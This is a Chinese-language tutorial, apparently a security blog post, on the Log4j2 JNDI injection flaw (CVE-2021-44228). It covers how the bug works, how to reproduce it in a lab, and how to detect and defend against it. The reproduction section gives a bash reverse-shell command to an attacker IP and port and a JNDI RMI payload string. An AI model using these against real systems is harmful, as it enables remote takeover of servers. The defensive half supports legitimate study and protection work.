服务攻防之开发组件安全

我们来了解两个比较火的开发组件的安全问题，一个是log4j，一个是fastjson。我们从它的原理到复现来对他进行学习！这篇文章我们先来学习一下log4j！

Log4j2远程命令执行（CVE-2021-44228）

1、什么是 log4j 和 log4j2

log4j 是 Apache 的一个开源日志库，是一个基于 Java 的日志记录框架，Log4j2 是 log4j 的后继者，其中引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI 组建等，被应用于业务系统开发，用于记录程序输入输出日志信息，log4j2 中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞，成功利用该漏洞可在目标服务器上执行任意代码。

2、什么是 JNDI

JNDI 是 Java Naming and Directory Interface 的缩写，是 Java 中用于访问各种命名和目录服务的API（应用程序编程接口） 。JNDI 提供了一种标准的方式来访问各种命名和目录服务，从指定的远程服务器获取并加载对象，其中常用的协议包括 RMI（远程方法调用）和 LDAP（轻量目录访问协议）。

3.漏洞原理

log4j2 在日志输出中，未对字符合法性进行严格的限制，执行了 JNDI 协议加载的远程恶意脚本，从而造成RCE。

详细过程分析：

log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能，传进去的值会被直接解析。

当用户输入信息时，应用程序中的 log4j2 组件会将信息记录到日志中，假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class}，log4j2 就会去解析该信息，通过 JNDI 的 lookup() 方法去解析 URL：ldap:192.168.249.1:9001/poc.class，解析到 ldap，就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源，如果找不到则会去 http 服务中找，只要在 ldap 或者 http 中找到了 poc.class ，就会将资源信息返回到 JNDI 接口，进而返回给应用程序的 log4j2 组件，而 log4j2 组件会将其下载下来，然后发现 poc.class 是一个 .class 文件，就会去执行里面的代码，从而实现注入，我们就可以通过 poc.class 实现任意命令的执行。

4.影响版本范围

受影响版本范围：2.0 ≤ Apache Log4j2 < 2.15.0-rc2

5.搭建环境并验证漏洞

maven 的安装与配置（Command ‘mvn‘ not found）修改配置文件后新终端依旧无法识别到 mvn 命令_command not found: mvn-CSDN博客log4j2 远程代码执行漏洞复现（CVE-2021-44228）_log4j命令执行流量特征-CSDN博客

哪里不懂可以参考一下这两篇文章！

bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1

Runtime.exec Payload Generater | AresX's Blog (ares-x.com) base64编码网站，大家自己找一个也行，用这个也行！

编码后替换我们截图里那一大长串就🆗了！

然后构造payload：

${jndi:rmi://192.168.6.128:1099/xhhwcm}

这里换成你们自己的就行了，然后把这个payload进行url编码，然后传参即可，如果是post请求就用bp抓包改包，然后起一个端口接受shell就行！

6、流量特征与防御措施

1、log4j2 漏洞流量特征

（1）恶意请求中包含 JNDI 协议地址：

攻击者通常会在 HTTP 请求或其他网络流量中插入包含 JNDI 协议地址的字符串，如"ldap://"、"rmi://"等。这些字符串会被log4j2解析为 JNDI 查找，从而导致远程代码执行。

（2）日志记录消息中包含可执行代码：

攻击者构造的恶意日志记录消息可能包含可执行的Java代码，如 JNDI 注入 payload 。这些代码会被 log4j2 解析和执行，从而触发远程代码执行漏洞。

（3）异常堆栈中出现与 JNDI 相关的类或方法：

在应用程序的异常堆栈中，可能会出现与JNDI相关的类或方法，如javax.naming.directory.InitialDirContext 等。这表明攻击者已经成功地利用了 log4j2 漏洞，执行了远程代码并导致异常。

（4）大量的异常日志记录： 

攻击者可能会尝试多次利用 log4j2 漏洞，因此在日志中可能会出现大量的异常日志记录。这些异常日志记录通常会包含与 JNDI 相关的内容，如 JNDI 协议地址或异常堆栈信息。

2、log4j2 漏洞防御措施

（1）设置 log4j2.formatMsgNoLookups=True：

这个设置将禁用 log4j2 中的消息查找（Lookups），这样可以防止恶意代码利用 JNDI 注入漏洞。通过设置此选项，log4j2 将不会解析消息中的变量或执行 JNDI 查找。

（2）对包含特定字符串的请求进行拦截：

监测应用程序的日志，如果发现其中包含"jndi:ldap://"、"jndi:rmi://"等可疑字符串，可以使用WAF（Web应用程序防火墙）或 IDS（入侵检测系统）等工具来拦截这些请求，从而阻止潜在的攻击。

（3）对系统进行合理配置，限制对外访问：

配置网络防火墙，限制系统对外部网络的访问，并阻止不必要的业务访问外网。

（4）升级 log4j2 组件到新的安全版本：

及时升级 log4j2 到最新的安全版本，以修复已知的漏洞并增强系统的安全性。